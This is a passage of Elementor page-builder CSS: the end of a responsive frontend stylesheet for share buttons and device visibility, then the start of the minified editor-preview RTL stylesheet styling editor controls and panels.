.elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: 767px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: 767px) { .elementor .elementor-hidden-mobile { display: none; } .elementor .elementor-hidden-phone { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-mobile_extra { display: none; } } @media (min-width: 768px) and (max-width: 1024px) { .elementor .elementor-hidden-tablet { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-tablet_extra { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-laptop { display: none; } } @media (min-width: 1025px) and (max-width: 99999px) { .elementor .elementor-hidden-desktop { display: none; } } @media (min-width: -1) { .elementor .elementor-hidden-widescreen { display: none; } } /*# sourceMappingURL=frontend.css.map */assets/css/editor-preview-rtl.min.css000064400000337643147206604650013730 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden{display:none}.elementor-visibility-hidden{visibility:hidden}.elementor-screen-only,.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;top:-10000em;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.elementor-clearfix:after{content:"";display:block;clear:both;width:0;height:0}.e-logo-wrapper{background:var(--e-a-bg-logo);display:inline-block;padding:.75em;border-radius:50%;line-height:1}.e-logo-wrapper i{color:var(--e-a-color-logo);font-size:1em}:root{--e-a-color-white:#fff;--e-a-color-black:#000;--e-a-color-logo:#fff;--e-a-color-primary:#f3bafd;--e-a-color-primary-bold:#d004d4;--e-a-color-secondary:#515962;--e-a-color-success:#0a875a;--e-a-color-danger:#dc2626;--e-a-color-info:#2563eb;--e-a-color-warning:#f59e0b;--e-a-color-accent:#93003f;--e-a-color-global:#1dddbf;--e-a-color-accent-promotion:#93003f;--e-a-bg-default:#fff;--e-a-bg-invert:#0c0d0e;--e-a-bg-hover:#f1f2f3;--e-a-bg-active:#e6e8ea;--e-a-bg-active-bold:#d5d8dc;--e-a-bg-loading:#f9fafa;--e-a-bg-logo:#000;--e-a-bg-primary:#fae8ff;--e-a-bg-secondary:#515962;--e-a-bg-success:#f2fdf5;--e-a-bg-info:#f0f7ff;--e-a-bg-danger:#fef1f4;--e-a-bg-warning:#fffbeb;--e-a-color-txt:#515962;--e-a-color-txt-muted:#818a96;--e-a-color-txt-disabled:#babfc5;--e-a-color-txt-invert:#fff;--e-a-color-txt-accent:#0c0d0e;--e-a-color-txt-hover:#3f444b;--e-a-color-txt-active:#0c0d0e;--e-a-border-color:#e6e8ea;--e-a-border-color-bold:#d5d8dc;--e-a-border-color-focus:#babfc5;--e-a-border-color-accent:#0c0d0e;--e-a-border:1px solid var(--e-a-border-color);--e-a-border-bold:1px solid var(--e-a-border-color-bold);--e-a-border-radius:3px;--e-a-btn-color:#0c0d0e;--e-a-btn-color-invert:var(--e-a-color-txt-invert);--e-a-btn-color-disabled:var(--e-a-color-txt-disabled);--e-a-btn-bg:#515962;--e-a-btn-bg-hover:#3a4046;--e-a-btn-bg-active:#23262a;--e-a-btn-bg-disabled:#d5d8dc;--e-a-btn-bg-primary:#f3bafd;--e-a-btn-bg-primary-hover:#f5d0fe;--e-a-btn-bg-primary-active:#f0abfc;--e-a-btn-bg-accent:#93003f;--e-a-btn-bg-accent-hover:#8f1a4c;--e-a-btn-bg-accent-active:#a93365;--e-a-btn-bg-info:#2563eb;--e-a-btn-bg-info-hover:#134cca;--e-a-btn-bg-info-active:#0e3b9c;--e-a-btn-bg-success:#0a875a;--e-a-btn-bg-success-hover:#06583a;--e-a-btn-bg-success-active:#03281b;--e-a-btn-bg-warning:#f59e0b;--e-a-btn-bg-warning-hover:#c57f08;--e-a-btn-bg-warning-active:#945f06;--e-a-btn-bg-danger:#dc2626;--e-a-btn-bg-danger-hover:#b21d1d;--e-a-btn-bg-danger-active:#861616;--e-a-dark-bg:#0c0d0e;--e-a-dark-color-txt:#9da5ae;--e-a-dark-color-txt-hover:#d5d8dc;--e-a-font-family:Roboto,Arial,Helvetica,sans-serif;--e-a-transition-hover:all .3s;--e-a-popover-shadow:0 2px 15px rgba(0,0,0,0.3);--e-a-dropdown-shadow:0 0 3px rgba(0,0,0,0.2)}.elementor-control-unit-1{width:27px}.elementor-control-unit-2{width:54px}.elementor-control-unit-3{width:81px}.elementor-control-unit-4{width:108px}.elementor-control-unit-5{max-width:400px;width:52%}.elementor-tags-list{display:none;position:absolute;width:260px;max-height:300px;overflow:auto;padding-block-end:5px;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border:var(--e-a-border);border-radius:3px;z-index:10000}.elementor-tags-list__group-title{font-weight:700;font-size:12px;padding:10px 15px;display:flex;align-items:center}.elementor-tags-list__group-title .eicon-info-circle{padding-inline-end:5px;color:var(--e-a-color-primary-bold);font-size:14px}.elementor-tags-list__item{font-size:10px;padding:6px 15px;cursor:pointer}.elementor-tags-list__item:before{content:">";font-size:8px;padding-inline-end:5px}.elementor-tags-list__item:hover{background-color:var(--e-a-bg-hover)}.elementor-tags-list__teaser{border-block-start:2px solid var(--e-a-border-color);padding-block-start:4px;margin-block-start:4px}.elementor-tags-list__teaser-text{padding:2px 15px 8px;line-height:1.5;font-size:12px}.elementor-tags-list__teaser-link{color:var(--e-a-color-primary-bold);text-decoration:underline;font-style:italic;font-weight:700}.elementor-dynamic-cover{display:flex;align-items:center;width:100%;height:27px;box-sizing:border-box}.elementor-dynamic-cover__title{padding:0 8px;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-dynamic-cover__remove,.elementor-dynamic-cover__settings{cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-dynamic-cover__remove:hover,.elementor-dynamic-cover__settings:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-wysiwyg .elementor-dynamic-cover{margin-block-start:10px}.elementor-tag-settings-popup{position:absolute;width:260px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:var(--e-a-popover-shadow);z-index:1}.elementor-tag-settings-popup:before{content:"";position:absolute;top:-20px;right:5px;border:10px solid transparent;border-block-end-color:var(--e-a-border-color)}.elementor-tag-settings-popup .elementor-control-type-section:first-child{margin:0}.elementor-tag-controls-stack-empty{background-color:var(--e-a-bg-default);padding:10px;font-size:13px;text-align:center}.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-dynamic-switcher{display:inline-flex;align-items:center;justify-content:center;flex-shrink:0;height:27px;cursor:pointer;border:var(--e-a-border-bold);background:var(--e-a-bg-default);border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius);border-end-start-radius:0;transition:var(--e-a-transition-hover)}.elementor-control-dynamic-switcher:hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.elementor-control-dynamic-switcher.e-control-tool{height:20px;border:0}.elementor-control-dynamic-switcher-wrapper{display:flex}.elementor-control-dynamic-switcher .eicon-database{font-size:12px}.elementor-control-dynamic-value .e-global__popover-toggle,.elementor-control-dynamic-value .elementor-control-dynamic-switcher,.elementor-control-dynamic-value .elementor-control-tag-area{display:none}.elementor-panel-box-content{padding:20px 20px 10px}.elementor-button{display:inline-block}.elementor-panel-alert{background-color:var(--e-a-bg-primary);padding:15px;border-inline-start:3px solid var(--e-a-color-primary);position:relative;font-size:12px;font-weight:300;font-style:italic;line-height:1.5;text-align:start;border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}.elementor-panel-alert a{color:inherit}.elementor-panel-alert.elementor-panel-alert-info{border-color:var(--e-a-color-info);background:var(--e-a-bg-info)}.elementor-panel-alert.elementor-panel-alert-success{border-color:var(--e-a-color-success);background:var(--e-a-bg-success)}.elementor-panel-alert.elementor-panel-alert-warning{border-inline-start:3px solid var(--e-a-color-warning);background:var(--e-a-bg-warning)}.elementor-panel-alert.elementor-panel-alert-danger{border-color:var(--e-a-color-danger);background:var(--e-a-bg-danger)}.elementor-control-field-description,.elementor-descriptor{font-size:11px;font-style:italic;line-height:1.4;color:var(--e-a-color-txt-muted)}.elementor-controls-popover{display:none;position:absolute;box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);left:0;right:0;margin:-4px auto 5px;padding-block-start:15px;width:90%;z-index:10000;background-color:var(--e-a-bg-default)}.elementor-controls-popover:before{content:"";position:absolute;top:-16px;left:22px;border:8px solid transparent;border-block-end-color:var(--e-a-bg-default)}.elementor-controls-popover div.elementor-control{background-color:transparent}.elementor-controls-popover div.elementor-control:before{content:none}#elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon{margin-block-start:20px}.elementor-control{--control-title-size:12px;position:relative;padding:0 20px 15px}.elementor-control a{font-weight:500;text-decoration:none;border-block-end:1px dotted transparent;transition:all .3s ease-in-out}.elementor-control a:hover{border-block-end-color:inherit}.elementor-control .elementor-control-content{display:flex;flex-direction:column}.elementor-control .elementor-control-title{font-size:var(--control-title-size);line-height:1;margin-inline-end:5px}.elementor-control .elementor-control-title:empty{display:none}.elementor-control .elementor-control-spinner{display:flex;align-items:center}.elementor-control.elementor-control-type-divider{padding:0}.elementor-control.elementor-control-type-divider .elementor-control-content{border-width:0;border-block-start:var(--e-a-border);background-color:var(--e-a-bg-default);height:15px}.elementor-control.elementor-control-separator-before{padding-block-start:15px}.elementor-control.elementor-control-separator-before:before{content:"";position:absolute;height:1px;width:calc(100% - 40px);top:0;right:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after:after{content:"";position:absolute;height:1px;width:calc(100% - 40px);bottom:0;right:20px;background-color:var(--e-a-border-color)}.elementor-control.elementor-control-separator-after+.elementor-control-type-tabs+.elementor-control-separator-default,.elementor-control.elementor-control-separator-after:not(.elementor-hidden-control)+.elementor-control-separator-default{padding-block-start:15px}.elementor-control.elementor-control-deprecated,.elementor-control.elementor-control-deprecated .elementor-control-field-description{color:var(--e-a-color-warning)}.elementor-control.elementor-control-hidden-label>*>*>.elementor-control-title,.elementor-control.elementor-control-hidden-label>*>.elementor-control-title,.elementor-control.elementor-hidden-control{display:none}.elementor-control.elementor-control-type-heading .elementor-control-title{font-weight:700;margin:0}body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop,body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop,body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile,body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra,body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet,body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra,body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen{display:none}.elementor-control-custom_attributes_pro .elementor-nerd-box-message,.elementor-control-custom_css_pro .elementor-nerd-box-message{margin-block-start:5px}.elementor-control.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before{content:"\e92a"}.elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before,.elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before{content:"\e909"}.elementor-panel-heading{display:flex;align-items:center;gap:5px;height:48px;padding-inline:20px;width:100%;border:0;border-block-start:var(--e-a-border);border-block-start-width:2px;background-color:transparent;color:var(--e-a-color-txt-accent);cursor:pointer}.elementor-panel-heading-toggle{width:10px;display:flex;flex-direction:column;align-items:center}.elementor-panel-heading-title{font-weight:700}.elementor-panel-heading-promotion{margin-inline-start:auto}.elementor-panel-heading-promotion a{color:var(--e-a-color-accent-promotion);font-family:Roboto,sans-serif;font-weight:500;font-size:13px}.elementor-panel-heading-promotion a i{margin-inline-end:4px;font-size:14px}.elementor-panel-heading-promotion a:hover{color:var(--e-a-color-accent-promotion)}.elementor-panel-heading:focus-visible{color:var(--e-a-color-txt-hover)}#elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading{border-block-start:none}.elementor-control-field{display:flex;align-items:center}.elementor-label-block>.elementor-control-content>.elementor-control-field{flex-wrap:wrap}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{width:100%;max-width:100%;margin-block-start:10px}.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper>.elementor-choices label{width:auto;flex:1 1 27px;display:flex;align-items:center;justify-content:center}.elementor-label-block.elementor-control-hidden-label.elementor-label-block>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper,.elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic)>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-title{flex-shrink:0;max-width:60%}.elementor-label-inline>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-field-description{margin-block-start:10px}.elementor-group-control-attachment_alert .elementor-control-field-description{margin-block-start:0}.elementor-control-start-end .eicon-h-align-left,.elementor-control-start-end .eicon-h-align-right{transform:rotate(180deg)}.elementor-update-preview{margin:15px 15px 0;display:flex;align-items:center}.elementor-update-preview-button-wrapper{flex-grow:1;text-align:end}.elementor-update-preview-button{padding:8px 15px}.elementor-control-direction-ltr input,.elementor-control-direction-ltr textarea{direction:ltr}.elementor-control-direction-rtl input,.elementor-control-direction-rtl textarea{direction:rtl}.elementor-control-alert{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:8px}.elementor-control-alert-heading{font-weight:700}.elementor-control-type-button .elementor-control-input-wrapper{text-align:end}.elementor-control-type-button .elementor-button{width:auto}.elementor-control-type-button .elementor-button.elementor-button-center{display:block;margin:0 auto}.elementor-control-type-choose.elementor-label-block .elementor-choices{width:100%}.elementor-choices{display:flex;height:27px;line-height:27px;text-align:center;border-spacing:1px;border-radius:var(--e-a-border-radius);overflow:hidden}.elementor-choices .elementor-choices-label{border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-start:var(--e-a-border-bold);border-inline-end:none;font-size:12px;transition:var(--e-a-transition-hover);cursor:pointer;overflow:hidden}.elementor-choices .elementor-choices-label:nth-child(2){border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-choices .elementor-choices-label:last-child{border-inline-end:var(--e-a-border-bold);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-choices input{display:none}.elementor-choices input:hover+.elementor-choices-label{background-color:var(--e-a-bg-hover)}.elementor-choices input.e-choose-placeholder+.elementor-choices-label,.elementor-choices input:checked+.elementor-choices-label{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.elementor-label-inline .elementor-choices{justify-content:flex-end}.elementor-control-type-color.e-control-global .pickr{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0;border-color:var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-color.e-control-global .pickr:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active)~.pickr{background-color:var(--e-a-bg-active-bold)}.elementor-control-type-color .elementor-control-title{flex-grow:1}.elementor-control-type-color .elementor-control-input-wrapper{display:flex;justify-content:flex-end}.elementor-group-control-css-filter .elementor-slider{height:6px;box-shadow:inset 0 0 1px 1px rgba(0,0,0,.2)}.elementor-group-control-css-filter .elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0;margin-block-end:5px}.elementor-group-control-blur .elementor-slider{background:url(../images/blur.png);background-size:cover;background-position:50%}.elementor-group-control-contrast .elementor-slider{background:url(../images/contrast.png);background-size:100% 100%}.elementor-group-control-hue .elementor-slider{background-image:linear-gradient(90deg,red,orange,#ff0,#adff2f,#32cd32,#00bfff,#00f,#9400d3 95%)}.elementor-group-control-saturate .elementor-slider{background-image:linear-gradient(90deg,grey,red)}.elementor-group-control-brightness .elementor-slider{background-image:linear-gradient(90deg,#000,#fff)}.elementor-control-type-dimensions .elementor-control-dimensions{display:flex}.elementor-control-type-dimensions li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-dimensions li .elementor-link-dimensions,.elementor-control-type-dimensions li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-dimensions li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-dimensions li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-dimensions li input:focus+.elementor-control-dimension-label{color:var(--e-a-color-txt)}.elementor-control-type-dimensions li .elementor-link-dimensions{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-dimensions li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-dimensions li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-dimensions li:last-child{max-width:27px}.elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within{flex:2.5}.elementor-control-type-dimensions .elementor-control-dimension-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked{display:none}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-responsive-switchers{--selected-option:0;--pointer-position:var(--selected-option);position:relative;width:2.5em;height:2.5em;margin:calc(-2.5em + 12px) 0;margin-inline-end:5px}.elementor-control-responsive-switchers__holder{position:absolute;width:100%;top:0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);transition:.15s;border:1px solid transparent}.elementor-control-responsive-switchers.elementor-responsive-switchers-open{z-index:11000}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher{height:2.5em;transform:scale(1);opacity:1}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder{box-shadow:var(--e-a-dropdown-shadow)}.elementor-responsive-switcher{all:unset;display:flex;align-items:center;justify-content:center;position:relative;z-index:2;cursor:pointer;height:0;width:100%;transform:scale(0);opacity:0;transition:.15s;font-size:12px;color:inherit}.elementor-responsive-switcher:hover{color:var(--e-a-color-primary-bold)}.elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{height:2.5em;transform:scale(1);opacity:1}.elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen{color:var(--e-a-color-primary-bold)}.elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop{color:var(--e-a-color-primary-bold)}.elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop{color:var(--e-a-color-primary-bold)}.elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{color:var(--e-a-color-primary-bold)}.elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet{color:var(--e-a-color-primary-bold)}.elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{color:var(--e-a-color-primary-bold)}.elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile{color:var(--e-a-color-primary-bold)}.e-units-wrapper{position:relative;margin-inline-start:auto}.e-units-wrapper .e-units-switcher{cursor:pointer;font-size:10px;padding:.5em;margin:-.5em 0;transition:all .15s ease-in-out}.e-units-wrapper .e-units-switcher:hover{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-hover);border-radius:var(--e-a-border-radius)}.e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit,.e-units-wrapper .e-units-switcher[data-selected=custom] span{display:none}.e-units-wrapper .e-units-switcher i.eicon-angle-right{transform:rotate(90deg)}.e-units-choices input{display:none}.e-units-choices input:checked+label{color:var(--e-a-color-primary-bold)}.e-units-choices label{cursor:pointer;display:block}.e-units-choices{display:none;overflow:hidden;max-height:0;position:absolute;top:-.8em;right:-.5em;width:2.5em;text-align:center;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-dropdown-shadow);animation-timing-function:linear;animation-delay:0s;animation-fill-mode:forwards;z-index:11000}.e-units-choices .elementor-units-choices-label{display:flex;align-items:center;height:3em;justify-content:center;font-size:10px;transition:.15s}.e-units-choices .elementor-units-choices-label:hover{color:var(--e-a-color-primary-bold)}.e-units-choices.e-units-choices-open{display:block;animation-duration:1s;animation-name:e-units-choices-open}.e-units-custom input{font-family:monospace;font-size:.85em}@keyframes e-units-choices-open{0%{max-height:0}to{max-height:100vh}}.elementor-control-type-gaps .elementor-control-gaps{display:flex}.elementor-control-type-gaps li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-gaps li .elementor-link-gaps,.elementor-control-type-gaps li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-gaps li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-gaps li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-gaps li input:focus+.elementor-control-gap-label{color:var(--e-a-color-txt)}.elementor-control-type-gaps li .elementor-link-gaps{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-gaps li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-gaps li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-gaps li:last-child{max-width:27px}.elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within{flex:2.5}.elementor-control-type-gaps .elementor-control-gap-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-gaps .elementor-link-gaps.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked{display:none}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-type-icons .elementor-control-media__preview>*{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-control-type-icons .elementor-control-media__preview i{font-size:70px}.elementor-control-type-icons .elementor-control-media__preview svg{height:75%}.elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload{font-size:15px}.elementor-control-type-gallery .elementor-control-media__content{border:var(--e-a-border-bold);border-radius:3px}.elementor-control-type-gallery .elementor-control-gallery-status{font-size:12px;height:27px;padding-inline-start:10px;border-block-end:var(--e-a-border-bold);display:flex}.elementor-control-type-gallery .elementor-control-gallery-status>*{display:flex;align-items:center}.elementor-control-type-gallery .elementor-control-gallery-status-title{flex-grow:1}.elementor-control-type-gallery .elementor-control-gallery-content{position:relative;overflow:hidden}.elementor-control-type-gallery .elementor-control-gallery-thumbnails{display:grid;grid-template-columns:repeat(auto-fill,minmax(48px,1fr));grid-gap:10px;cursor:pointer;padding:10px}.elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus+.elementor-control-gallery-edit,.elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover+.elementor-control-gallery-edit{opacity:1}.elementor-control-type-gallery 